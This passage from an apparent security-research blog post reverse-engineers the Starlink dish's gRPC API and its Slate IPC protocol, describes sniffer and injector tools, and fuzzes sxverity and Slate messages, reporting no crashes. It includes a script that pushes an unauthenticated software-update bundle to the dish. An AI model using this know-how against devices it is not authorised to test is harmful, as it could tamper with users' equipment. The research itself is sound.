<a href="https://github.com/sparky8512/starlink-grpc-tools">Some</a> <a href="https://github.com/starlink-community/starlink-cli">tools</a> have been implemented as alternative front-end applications that use this protocol.
The aforementioned applications, implemented in Python, use the gRPC APIs exposed by the frontend binary, providing the user with an alternative user interface to inspect the statistics of the dish.
The authors of these applications probably gathered the protocol definitions from the mobile application or by using the reflection server.</p>
<p>In the following code snippet, you can see the (partial) definition of the <code>Request</code> message, which contains a few ids and one specific request, among the ones listed.
Every inner request has its definition, with the parameters the server needs to process the request, and a corresponding response that will hold the result.</p>
<div class="highlight"><pre><span></span><code><span class="kd">message</span><span class="w"> </span><span class="nc">Request</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">uint64</span><span class="w"> </span><span class="na">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="kt">uint64</span><span class="w"> </span><span class="na">epoch_id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">14</span><span class="p">;</span>
<span class="w"> </span><span class="kt">string</span><span class="w"> </span><span class="na">target_id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">13</span><span class="p">;</span>
<span class="w"> </span><span class="k">oneof</span><span class="w"> </span><span class="n">request</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">GetNextIdRequest</span><span class="w"> </span><span class="na">get_next_id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1006</span><span class="p">;</span>
<span class="w"> </span><span class="n">AuthenticateRequest</span><span class="w"> </span><span class="na">authenticate</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1005</span><span class="p">;</span>
<span class="w"> </span><span class="n">EnableDebugTelemRequest</span><span class="w"> </span><span class="na">enable_debug_telem</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1034</span><span class="p">;</span>
<span class="w"> </span><span class="n">FactoryResetRequest</span><span class="w"> </span><span class="na">factory_reset</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1011</span><span class="p">;</span>
<span class="w"> </span><span class="n">GetDeviceInfoRequest</span><span class="w"> </span><span class="na">get_device_info</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1008</span><span class="p">;</span>
<span class="w"> </span><span class="n">GetHistoryRequest</span><span class="w"> </span><span class="na">get_history</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1007</span><span class="p">;</span>
<span class="w"> </span><span class="n">GetLogRequest</span><span class="w"> </span><span class="na">get_log</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1012</span><span class="p">;</span>
<span class="w"> </span><span class="n">GetNetworkInterfacesRequest</span><span class="w"> </span><span class="na">get_network_interfaces</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1015</span><span class="p">;</span>
<span class="w"> </span><span class="n">GetPingRequest</span><span class="w"> </span><span class="na">get_ping</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1009</span><span class="p">;</span>
<span class="w"> </span><span class="n">PingHostRequest</span><span class="w"> </span><span class="na">ping_host</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1016</span><span class="p">;</span>
<span class="w"> </span><span class="n">GetStatusRequest</span><span class="w"> </span><span class="na">get_status</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1004</span><span class="p">;</span>
<span class="w"> </span><span class="n">RebootRequest</span><span class="w"> </span><span class="na">reboot</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1001</span><span class="p">;</span>
<span class="w"> </span><span class="n">SetSkuRequest</span><span class="w"> </span><span class="na">set_sku</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1013</span><span class="p">;</span>
<span class="w"> </span><span class="n">SetTrustedKeysRequest</span><span class="w"> </span><span class="na">set_trusted_keys</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1010</span><span class="p">;</span>
<span class="w"> </span><span class="n">SpeedTestRequest</span><span class="w"> </span><span class="na">speed_test</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1003</span><span class="p">;</span>
<span class="w"> </span><span class="n">SoftwareUpdateRequest</span><span class="w"> </span><span class="na">software_update</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1033</span><span class="p">;</span>
<span class="w"> </span><span class="n">DishStowRequest</span><span class="w"> </span><span class="na">dish_stow</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">2002</span><span class="p">;</span>
<span class="w"> </span><span class="n">StartDishSelfTestRequest</span><span class="w"> </span><span class="na">start_dish_self_test</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">2012</span><span class="p">;</span>
<span class="w"> </span><span class="n">DishGetContextRequest</span><span class="w"> </span><span class="na">dish_get_context</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">2003</span><span class="p">;</span>
<span class="w"> </span><span class="n">DishGetObstructionMapRequest</span><span class="w"> </span><span class="na">dish_get_obstruction_map</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">2008</span><span class="p">;</span>
<span class="w"> </span><span class="n">DishSetEmcRequest</span><span class="w"> </span><span class="na">dish_set_emc</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">2007</span><span class="p">;</span>
<span class="w"> </span><span class="n">DishGetEmcRequest</span><span class="w"> </span><span class="na">dish_get_emc</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">2009</span><span class="p">;</span>
<span class="w"> </span><span class="n">DishSetConfigRequest</span><span class="w"> </span><span class="na">dish_set_config</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">2010</span><span class="p">;</span>
<span class="w"> </span><span class="n">DishGetConfigRequest</span><span class="w"> </span><span class="na">dish_get_config</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">2011</span><span class="p">;</span>
<span class="w"> </span><span class="c1">// [...]</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>There are two ways to communicate with this gRPC, either by using an insecure channel or by using a secure channel, which involves TLS and mutual authentication using certificates stored in the secure element.
The mobile application and the web interface both use the insecure channel, so the encrypted one must be used by something else.</p>
<p>Among the requests that can be made to the server, many of them are meant for front-end applications, a few examples are:</p>
<ul>
<li><code>FactoryResetRequest</code>, which requests a factory reset of the dish.</li>
<li><code>GetDeviceInfoRequest</code>, which returns some information about the device.</li>
<li><code>GetStatusRequest</code>, which requests the status of the dish.</li>
<li><code>RebootRequest</code>, which asks the dish to reboot.</li>
</ul>
<p>But some requests do not look like they are used by those applications, such as:</p>
<ul>
<li><code>SetTrustedKeysRequest</code>, which supposedly sets the provided public keys for future use by the process or by the SSH agent.</li>
</ul>
<div class="highlight"><pre><span></span><code><span class="kd">message</span><span class="w"> </span><span class="nc">SetTrustedKeysRequest</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">repeated</span><span class="w"> </span><span class="n">PublicKey</span><span class="w"> </span><span class="na">keys</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<ul>
<li><code>GetHeapDumpRequest</code>, which supposedly returns a dump of the Heap section of the process.</li>
<li><code>SoftwareUpdateRequest</code>, which supposedly initiates a software update with the provided update bundle.</li>
</ul>
<p>Unfortunately, most of these requests are not implemented in the binary we were analyzing (e.g. <code>SetTrustedKeysRequest</code>, <code>GetHeapDumpRequest</code>), and some of them require authentication (e.g. <code>DishGetContextRequest</code>, <code>DishGetEmcRequest</code>) both on the transport layer (secure gRPC channel) and application layer (by using the <code>AuthenticateRequest</code>).
We are not entirely sure who is supposed to use these requests and why most of them are not implemented in the binary, they could be used by another Stalink product such as the Wi-Fi router, or by Starlink support in the case of a partially bricked device, for remote assistance.
The most interesting request that is both implemented and does not require authentication is the <code>SoftwareUpdateRequest</code>, which will be explained better in Section <a href="#fuzzing">Fuzzing</a>.</p>
<p>Further work on this topic would be to analyze further every request handler for bugs or, better to fuzz them since there exist effective mutators for the protobuf protocol, such as <code>libprotobuf-mutator</code>.</p>
<h3>Inter-Process Communication</h3>
<p>Every process running in the runtime continuously shares information with other processes, to collaborate and share statistics.
As you can see from the figure showing the runtime architecture, every process only communicates with the User Terminal Control, which acts as an orchestrator for the whole runtime.
The protocol they are using is designed by SpaceX and it's called <code>Slate Sharing</code>.</p>
<p>It uses UDP for transport, and every process starts listening on a different port, on the loopback interface and will receive messages from the control process on that port.
On the other hand, the control process starts listening on multiple ports, one for every process that needs to communicate with it, so that the communication is bidirectional and without conflicts between processes.
Port numbers are configured through a configuration file that can be found at <code>/sx/local/runtime/common/service_directory</code>, in the following snippet, you can see a part of it, which lists the port numbers for communications between software update and control, and between frontend and control.</p>
<div class="highlight"><pre><span></span><code><span class="c1">################################################################################</span>
<span class="c1"># Software update</span>
software_update_to_control localhost <span class="m">27012</span> udp_proto
control_to_software_update localhost <span class="m">27013</span> udp_proto
<span class="c1">################################################################################</span>
<span class="c1"># Frontend</span>
control_to_frontend localhost <span class="m">6500</span> udp_proto
frontend_to_control localhost <span class="m">6501</span> udp_proto
</code></pre></div>
<p>Every couple of processes exchange different kinds of data, and messages do not contain any information about the content nor the structure of the data they transport, unlike other protocols such as JSON or XML.
Thus, to understand the content of messages we had to reverse engineer one of the binaries that makes use of the protocol, and in our case, the best choice was once again the user terminal frontend, which is the one implemented in Go.</p>
<p>Data is exchanged in binary form, by sending raw packed (no padding) C structures, in big-endian.
Every message contains a header, holding some information about the message, and a body, containing the actual data to be shared.
In the following snippet, you can see the data structure representing the message header, from the GolangAnalyzer Ghidra plugin.
With the same technique, we also extracted the structure of the body of messages between the frontend process and control.</p>
<div class="highlight"><pre><span></span><code>**************************************************************
* Name: sx_slate.SlateHeader *
* Struct: *
* + 0x0 0x4 uint BwpType *
* + 0x4 0x4 uint Crc *
* + 0x8 0x8 longlong Seq *
* + 0x10 0x4 uint Frame *
**************************************************************
</code></pre></div>
<p>The header contains:</p>
<ul>
<li><code>BwpType</code>, which is a fixed value, acts as a "magic number" for the protocol (<code>00 00 01 20</code>).</li>
<li><code>Crc</code>, whose name suggests it is a Cyclic Redundancy Check, so a sort of error-detecting code for the message body, but by reverse engineering and sniffing messages, this field seems to be fixed as well, but it is different for every couple of messages.</li>
<li><code>Seq</code>, which is a sequence number that is incremented every message, but the protocol does not include any acknowledgment mechanisms to resend lost messages.</li>
<li><code>Frame</code>, which is used in case of fragmentation, i.e. when the message is bigger than the MTU (Maximum Transmission Unit), which is usually set to 1500 bytes. In this case, the body of the message is split into multiple frames, each one having an identical header, apart from the <code>Frame</code> field, which is incremented each frame, starting from 0.</li>
</ul>
<p>The body of the message is encoded in the same way, as an example, in the following snippet, you can see part of the structure of messages sent by the frontend process to control.</p>
<div class="highlight"><pre><span></span><code>**************************************************************
* Name: slate.FrontendToControl *
* Struct: *
* + 0x0 0x1 bool AppReboot *
* + 0x1 0x1 bool TiltToStowed *
* + 0x4 0x4 uint StartDishCableTestRequests *
* + 0x8 0x1 bool IfLoopbackTest *
* + 0x10 0x8 longlong Now *
* + 0x18 0x8 longlong StarlinkWifiLastConnected *
[...]
</code></pre></div>
<p>Thanks to this information we would already be able to implement a message decoder (which we did), but this would only work for the communication between the frontend process and control. To decode other communications we would need to manually reverse engineer every other binary to find out the structure of messages, perhaps without even finding field names, but as explained in previous sections, it was hard to get useful information from C++ binaries.
Here you can see how we parse the header of Slate messages in Python, using the <code>ctypes</code> package.</p>
<div class="highlight"><pre><span></span><code><span class="k">class</span> <span class="nc">SlateHeader</span><span class="p">(</span><span class="n">BigEndianStructure</span><span class="p">):</span>
<span class="n">_pack_</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">_fields_</span> <span class="o">=</span> <span class="p">[</span>
<span class="p">(</span><span class="s1">'BwpType'</span><span class="p">,</span> <span class="n">c_uint32</span><span class="p">),</span>
<span class="p">(</span><span class="s1">'Crc'</span><span class="p">,</span> <span class="n">c_uint32</span><span class="p">),</span>
<span class="p">(</span><span class="s1">'Seq'</span><span class="p">,</span> <span class="n">c_longlong</span><span class="p">),</span>
<span class="p">(</span><span class="s1">'Frame'</span><span class="p">,</span> <span class="n">c_uint32</span><span class="p">)</span>
<span class="p">]</span>
</code></pre></div>
<p>Then, to understand how the protocol is handled in C++ binaries, we looked for some fields of the structures we knew (the ones of the frontend process) in the control process, which should have them in order to decode those incoming messages.
We couldn't find them in the binary, but we found something way better, in the folder <code>/sx/local/runtime/common</code> there is a set of configuration files, such as <code>frontend_to_control</code>, which contain the structure of every message exchanged by processes.
Here is a snippet containing part of the aforementioned configuration file.</p>
<div class="highlight"><pre><span></span><code># Slate share message from gRPC frontend process to main control process.
app_reboot bool
tilt_to_stowed bool
start_dish_cable_test_requests uint32
if_loopback_test.enabled bool
now int64
starlink_wifi_last_connected int64
# [...]
</code></pre></div>
<p>With this, it is much easier to implement a more generic decoder that parses these protocol definitions and decodes messages accordingly.
Such a tool has been developed and will be discussed in the next section.</p>
<h3>Slate sniffer & injector</h3>
<p>Slate messages are sent very fast, thus it is hard to understand what is happening without a proper visualization tool.
That is why we've implemented the <a href="https://github.com/quarkslab/starlink-tools/tree/main/slate-sniffer">Slate sniffer</a>, a tool that sniffs UDP packets on the loopback interface and decodes them on the fly, highlighting differences between consecutive messages.
In the following figure, you can see the overall architecture of the new tool, which we'll describe in more detail.
This tool was implemented for the emulated environment but we designed it keeping in mind that it would need to work also on the real dish.
For this reason, most of the work is done in the Sniffer, which is not in the device, and all the communications between the sniffer and the dish happen through SSH.</p>
<p><center>
<a href="resources/2023-08-16_starlink/slate-sniffer.png">
<img src="resources/2023-08-16_starlink/slate-sniffer.png" width="80%">
</a>
</center></p>
<p>The first component that is used when starting the sniffer, is the protocol definition parser, which will parse configuration files:</p>
<ul>
<li><code>service_directory</code> to know which "services" (i.e. message definitions) are available and on which UDP ports they will communicate.</li>
<li><code>[P1]_to_[P2]</code> for every available couple of processes <code>P1</code> and <code>P2</code>, to know the format of messages that will be exchanged.</li>
</ul>
<p>This component will create <code>SlateMessageParser</code> objects, that will later be used to decode messages.
The decoding is made using the <code>struct</code> python package.</p>
<p>After this, <a href="https://www.tcpdump.org/"><code>TCPdump</code></a> will be launched on the dish, through SSH, and will listen on the loopback interface, only capturing UDP packets that have as the destination port one of the ones found by the parser.
The output of <a href="https://www.tcpdump.org/"><code>TCPdump</code></a> is piped to <a href="https://scapy.net/"><code>Scapy</code></a> which will decode the packet, understand which service it comes from, by reading the destination port, and will then extract the UDP payload and pass it to the message decoder.
When a message is parsed correctly, it will be stored in the Storage component, which in this case is a simple in-memory database, only holding recent messages (configurable, based on available memory).
On top of all this, there is a Flask server, exposing some APIs, to know which services are available, to know the schema of a message and, of course, to fetch messages.
We also implemented a front end, as a simple web interface, which is shown in the following picture.
From the current front end, it is possible to see messages in real-time, spotting differences thanks to the highlighted changes, selecting which fields to show and filtering or ordering them.
The frontend module is easily replaceable thanks to the exposed APIs, thus more complex interfaces can be integrated into the sniffer, to inspect the acquired data in more ways.</p>
<p><center>
<a href="resources/2023-08-16_starlink/slate-sniffer-screen.png">
<img src="resources/2023-08-16_starlink/slate-sniffer-screen.png" width="80%">
</a>
</center></p>
<p>After having a way to see messages, we thought it would be interesting to be able to inject custom messages, by editing the ones we are receiving or by creating new ones from scratch.
For this reason, we implemented the Slate injector, which shares most of the codebase with the sniffer.
The architecture of this tool is shown below.
Messages, to be received by processes, need to come from the loopback interface, thus we cannot send them directly from the Injector (which is external to the device).
This is why the injector will start a <code>socat</code> server on the dish, which will listen for UDP messages on the "external" network interface, and will then forward them to the right UDP port, by changing the source address to localhost.
Some API endpoints have been implemented to be able to inject messages from the front end and the current interface lets you edit and send a message or create a new one.</p>
<p><center>
<a href="resources/2023-08-16_starlink/slate-injector.png">
<img src="resources/2023-08-16_starlink/slate-injector.png" width="80%">
</a>
</center></p>
<p>Being able to inspect messages between processes helped us a lot in understanding what each process does without being able to fully reverse-engineer them.
Additionally, having the protocol definition and an easy way to inject messages, a natural development of the project is to fuzz the protocol, which will be tackled in Section <a href="#fuzzing">fuzzing</a>.
The full code of the Slate sniffer, injector and fuzzer can be found <a href="https://github.com/quarkslab/starlink-tools/tree/main/slate-sniffer">here</a>, but again without the protocol definitions, which you'll have to extract from the dish.</p>
<h2><a name="fuzzing"></a>Fuzzing</h2>
<p>In the last part of my internship at Quarkslab, we identified which parts of the software had been analyzed enough to be suitable for fuzz testing.
To find a good fuzzable target, we had to take into account multiple aspects:</p>
<ul>
<li>The possible attack vector in the case a bug was found:<ul>
<li>Can the bug be triggered by an authenticated user?</li>
<li>Does the attacker need to be connected to the Wi-Fi network of the dish?</li>
<li>Can the bug be triggered directly from the Internet?</li>
<li>Does the attacker need to already have access to the dish? In this case, the bug could be used for lateral movement inside the dish or privilege escalation.</li>
</ul>
</li>
<li>What is the impact of a possible bug in the target?</li>
<li>How easily fuzzable is the target, and which kind of fuzzing is the most suitable for the target:<ul>
<li>How is the input provided?</li>
<li>Can the target program run isolated? If a program makes use of many hardware peripherals and/or interacts with other components of the runtime, it will be hard to fuzz it in an isolated environment.</li>
<li>How deeply have we analyzed the target to know its internal workings?</li>
</ul>
</li>
</ul>
<h3>sxverity</h3>
<p>As we saw in the communication section, it is possible to trigger a software update by sending a <code>SoftwareUpdateRequest</code> to the frontend process from the internal network.
This is an interesting request because it is the only one that does not look like it is meant for the user and does not require authentication.
Furthermore, the input of this request is the update bundle, which can be very big, while inputs for other requests are often empty or very simple.
The update bundle has to be split in chunks before being sent to the dish, here is a python script that sends this message.</p>
<div class="highlight"><pre><span></span><code><span class="n">CHUNK_SIZE</span> <span class="o">=</span> <span class="mi">16384</span>
<span class="k">def</span> <span class="nf">update</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
<span class="n">channel</span> <span class="o">=</span> <span class="n">grpc</span><span class="o">.</span><span class="n">insecure_channel</span><span class="p">(</span><span class="s1">'192.168.100.1:9200'</span><span class="p">)</span>
<span class="n">stub</span> <span class="o">=</span> <span class="n">device_pb2_grpc</span><span class="o">.</span><span class="n">DeviceStub</span><span class="p">(</span><span class="n">channel</span><span class="p">)</span>
<span class="n">stream_id</span> <span class="o">=</span> <span class="nb">int</span><span class="o">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">4</span><span class="p">),</span> <span class="n">byteorder</span><span class="o">=</span><span class="s1">'little'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">),</span> <span class="n">CHUNK_SIZE</span><span class="p">):</span>
<span class="n">chunk</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="nb">min</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">),</span> <span class="n">i</span> <span class="o">+</span> <span class="n">CHUNK_SIZE</span><span class="p">)]</span>
<span class="n">request</span> <span class="o">=</span> <span class="n">device_pb2</span><span class="o">.</span><span class="n">Request</span><span class="p">(</span><span class="nb">id</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span> <span class="n">epoch_id</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span> <span class="n">target_id</span> <span class="o">=</span> <span class="s2">"unknown"</span><span class="p">,</span>
<span class="n">software_update</span> <span class="o">=</span> <span class="n">common_pb2</span><span class="o">.</span><span class="n">SoftwareUpdateRequest</span><span class="p">(</span>
<span class="n">stream_id</span> <span class="o">=</span> <span class="n">stream_id</span><span class="p">,</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">chunk</span><span class="p">,</span>
<span class="nb">open</span> <span class="o">=</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">0</span><span class="p">,</span>
<span class="n">close</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="n">CHUNK_SIZE</span> <span class="o">>=</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="p">)</span>
<span class="p">)</span>
</code></pre></div>
<p>Every message needs to have the same <code>stream_id</code>, which can be randomly generated, then the first message has the <code>open</code> flag, while the last one has the <code>close</code> flag and all the ones in between don't have any of them.
The receiver of the message is the frontend process, which will save the update bundle in a temporary folder, without reading the content of it, so without performing any kind of input sanitization, it will just check that the size of the bundle does not reach a hardcoded threshold.
After that, the frontend process will notify the control process that a sideload update is ready to be applied, through a Slate message, and the control process will do the same for the software update process.
Once the latter receives the message, the update is ready to be started, the figure below shows the overall flow of messages and actions the <code>SoftwareUpdateRequest</code> triggers.</p>
<p><center>
<a href="resources/2023-08-16_starlink/sideload.png">
<img src="resources/2023-08-16_starlink/sideload.png" width="60%">
</a>
</center></p>
<p>After the software update process is notified that a software update bundle is ready to be applied, the update procedure starts.
From this moment, there is no difference between this kind of software update and the standard one, which is downloading the update bundle from Starlink's backend.
The update bundle is a <code>sxverity</code> image, which will be verified by the program with the same name and the inner <code>rom1fs</code> filesystem will be mounted.
Once mounted, the software update process will look for partition images in the mount point.
Every partition image will also have a SHA512 hashsum for additional integrity verification.
Finally, each available partition image will be flashed on the corresponding <code>/dev/blk/other/*</code> eMMC logical partition.</p>
<p>The update bundle is not accessed directly by the software update process, so the first process actually reading the content of the provided input is <code>sxverity</code>. Thus any fuzz test can be performed directly on that binary, skipping all previous steps.
In the following figure, you can see how the verification process is performed by <code>sxverity</code>.
The fuzzable code is very limited because the signature verification is made by a library, which is out of scope, and anything happening after a successful signature verification is to be considered unreachable for us because if we can reach that state, it means we were able to craft an update package that would be flashed so we don't need to find other bugs there.</p>
<p><center>
<a href="resources/2023-08-16_starlink/sxverity.png">
<img src="resources/2023-08-16_starlink/sxverity.png" width="80%">
</a>
</center></p>
<p>The only part of the input that will be parsed by the code under test is the header of the image, thus that will be the only part of the input that the fuzzer will mutate.
Since that part of the program can be executed completely in complete isolation, we've fuzzed it inside <a href="https://www.unicorn-engine.org/"><code>unicorn</code></a>, a lightweight CPU emulator that can be instructed from Python, by using its bindings.
The first step was being able to emulate the code we want to test and setting up the harness for our fuzzer, which includes:</p>
<ul>
<li>Loading the binary.</li>
<li>Identifying a good starting point in the code, in which it is easy to set up the whole environment, such as placing the input in the right memory location and setting up every other memory structure that will be used by the code under testing.
As an example, the following snippet shows how the input is placed in memory and how registers holding the addresses to the input locations are set.</li>
</ul>
<div class="highlight"><pre><span></span><code><span class="k">def</span> <span class="nf">place_input_cb</span><span class="p">(</span><span class="n">mu</span><span class="p">:</span> <span class="n">Uc</span><span class="p">,</span> <span class="n">content</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">,</span> <span class="n">persistent_round</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
<span class="n">content_size</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">content</span><span class="p">)</span>
<span class="k">if</span> <span class="n">content_size</span> <span class="o"><</span> <span class="n">INPUT_MIN_LEN</span><span class="p">:</span>
<span class="k">return</span> <span class="kc">False</span>
<span class="n">pubkey</span><span class="p">,</span> <span class="n">header</span> <span class="o">=</span> <span class="n">key_and_header_from_data</span><span class="p">(</span><span class="n">content</span><span class="p">)</span>
<span class="c1"># write data in memory</span>
<span class="n">mu</span><span class="o">.</span><span class="n">mem_write</span><span class="p">(</span><span class="n">PUBKEY_ADDR</span><span class="p">,</span> <span class="n">pubkey</span><span class="p">)</span>
<span class="n">mu</span><span class="o">.</span><span class="n">mem_write</span><span class="p">(</span><span class="n">HEADER_ADDR</span><span class="p">,</span> <span class="n">header</span><span class="p">)</span>
<span class="c1"># prepare function arguments</span>
<span class="n">mu</span><span class="o">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_ARM64_REG_X2</span><span class="p">,</span> <span class="n">PUBKEY_ADDR</span><span class="p">)</span> <span class="c1"># pubkey address</span>
<span class="n">mu</span><span class="o">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_ARM64_REG_X3</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">)</span> <span class="c1"># nblocks</span>
<span class="n">mu</span><span class="o">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_ARM64_REG_X4</span><span class="p">,</span> <span class="n">HEADER_ADDR</span><span class="p">)</span> <span class="c1"># header buffer address</span>
<span class="k">return</span> <span class="kc">True</span>
</code></pre></div>
<ul>
<li>Identifying function calls, hooking them and emulating them in Python, so that we do not spend time testing library code, nor do we have to load them in memory and handle dynamically loaded libraries.
As an example, here is how the libc function <code>memcpy</code> is hooked and emulated.</li>
</ul>
<div class="highlight"><pre><span></span><code><span class="k">if</span> <span class="n">address</span> <span class="o">==</span> <span class="n">MEMCPY_ADDR</span><span class="p">:</span>
<span class="c1"># read arguments from registers</span>
<span class="n">dest</span> <span class="o">=</span> <span class="n">mu</span><span class="o">.</span><span class="n">reg_read</span><span class="p">(</span><span class="n">UC_ARM64_REG_X0</span><span class="p">)</span>
<span class="n">src</span> <span class="o">=</span> <span class="n">mu</span><span class="o">.</span><span class="n">reg_read</span><span class="p">(</span><span class="n">UC_ARM64_REG_X1</span><span class="p">)</span>
<span class="n">n</span> <span class="o">=</span> <span class="n">mu</span><span class="o">.</span><span class="n">reg_read</span><span class="p">(</span><span class="n">UC_ARM64_REG_X2</span><span class="p">)</span>
<span class="c1"># read the data from src</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">mu</span><span class="o">.</span><span class="n">mem_read</span><span class="p">(</span><span class="n">src</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
<span class="c1"># write data in dst</span>
<span class="n">mu</span><span class="o">.</span><span class="n">mem_write</span><span class="p">(</span><span class="n">dest</span><span class="p">,</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">data</span><span class="p">))</span>
<span class="c1"># return the address of dest </span>
<span class="n">mu</span><span class="o">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_ARM64_REG_X0</span><span class="p">,</span> <span class="n">dest</span><span class="p">)</span>
<span class="c1"># jump to the return address</span>
<span class="n">lr</span> <span class="o">=</span> <span class="n">mu</span><span class="o">.</span><span class="n">reg_read</span><span class="p">(</span><span class="n">UC_ARM64_REG_LR</span><span class="p">)</span>
<span class="n">mu</span><span class="o">.</span><span class="n">reg_write</span><span class="p">(</span><span class="n">UC_ARM64_REG_PC</span><span class="p">,</span> <span class="n">lr</span><span class="p">)</span>
</code></pre></div>
<ul>
<li>Identifying an ending point, which has to be a point in the program in which we stop the emulation because the run was successful (no bugs).</li>
</ul>
<p>The nicest thing about using Unicorn, other than being pretty easy to configure and instruct, is the flawless support with <a href="https://aflplus.plus/"><strong>AFL++</strong></a> (American Fuzzy Lop plus plus) which we used as fuzzer.
AFL++ working with Unicorn can detect crashes and most importantly, gather coverage information, in a transparent manner, so that it can perform coverage-guided mutations and setting up the fuzzer with Unicorn is pretty straightforward.
The fuzzer also needs some initial test cases, called seeds, for that we've used some valid headers, taken from sxverity images found in the dish, and some randomly generated headers.</p>
<p>The fuzzer ran for around 24 hours, performing more than one million executions, but unfortunately, no crash was recorded.
This was expected since the tested codebase was very limited and the structure of the input was very simple, not having complex data structures or variable length fields, the most common memory-related bugs are avoided.</p>
<h3>Slate messages</h3>
<p>The other component we tested with fuzzing was Inter-Process Communication (IPC) - which was deeply analyzed in the previous section - since we already had developed a set of tools to analyze and tamper with this communication.
In this case, we are not going to fuzz a single binary, but rather the whole set of processes that form the runtime of the device, since every one of them is using Slate messages to communicate.
The fuzzing approach was completely different from the one we used for sxverity, which was gray-box fuzzing, because:</p>
<ul>
<li>The codebase we are trying to test is enormous.</li>
<li>We weren't able to exactly identify the code that handles slate messages in every binary and, more importantly, bugs can be also found outside this code, because of some inconsistencies in the program state caused by wrongly interpreted inputs.</li>
<li>Binaries need to run in a dish-like environment because they continuously interact with other components of the system, most of them don't even run in our emulated environment.</li>
<li>Also recording coverage would have been challenging, because for that we need to instrument the binaries since we don't have the source code to recompile them, and the fuzzer would need to be run on the dish.</li>
</ul>
<p>For the above reasons, we used black-box fuzzing, without coverage-guided mutations, which is usually called "dumb" fuzzing.
<a href="https://github.com/jtpereyda/boofuzz">Boofuzz</a> was used as fuzzer, it is a simple and easy-to-use fuzzer specifically designed for network protocols, which was a perfect fit for what we were looking for.
Boofuzz does not generate input in a completely random way because you are giving it the protocol definition to be used in the communication, with the possibility of defining sequences of messages using a finite state machine.
In our case, every message was disconnected from the others (apart from the sequence number), so defining the format of messages was enough.
The fuzzer will then mutate every field of the message, by trying some values that could trigger a bug, e.g. for an <code>int32</code> the fuzzer will try values such as <code>{0, 1, -1, INT_MAX, -INT_MAX, ...}</code>.
As an example, here is how some fields of Slate messages are "translated" to Boofuzz protocol definition.</p>
<div class="highlight"><pre><span></span><code><span class="k">if</span> <span class="n">param</span><span class="o">.</span><span class="n">dtype</span><span class="o">.</span><span class="n">name</span> <span class="o">==</span> <span class="s2">"BOOL"</span><span class="p">:</span>
<span class="k">return</span> <span class="n">Simple</span><span class="p">(</span>
<span class="n">name</span><span class="o">=</span><span class="n">param</span><span class="o">.</span><span class="n">name</span><span class="p">,</span>
<span class="n">default_value</span><span class="o">=</span><span class="sa">b</span><span class="s2">"</span><span class="se">\x00\x00\x00\x00</span><span class="s2">"</span><span class="p">,</span>
